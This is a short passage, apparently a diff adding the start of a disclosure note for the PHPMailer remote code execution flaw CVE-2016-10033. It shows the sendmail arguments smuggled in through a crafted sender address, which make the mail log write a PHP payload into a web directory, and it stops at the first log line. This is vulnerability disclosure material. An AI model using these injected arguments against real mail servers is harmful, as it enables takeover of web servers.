+PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)

+
+Full Advisory URL:
+https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
+
+
+A simple PoC (working on Sendmail MTA)
+
+It will inject the following parameters to sendmail command:
+
+Arg no. 0 == [/usr/sbin/sendmail]
+Arg no. 1 == [-t]
+Arg no. 2 == [-i]
+Arg no. 3 == [-fattacker\]
+Arg no. 4 == [-oQ/tmp/]
+Arg no. 5 == [-X/var/www/cache/phpcode.php]
+Arg no. 6 == [some"@email.com]
+
+
+which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
+The resulting file will contain the payload passed in the body of the msg:
+
+09607 <<< --b1_cb4566aa51be9f090d9419163e492306
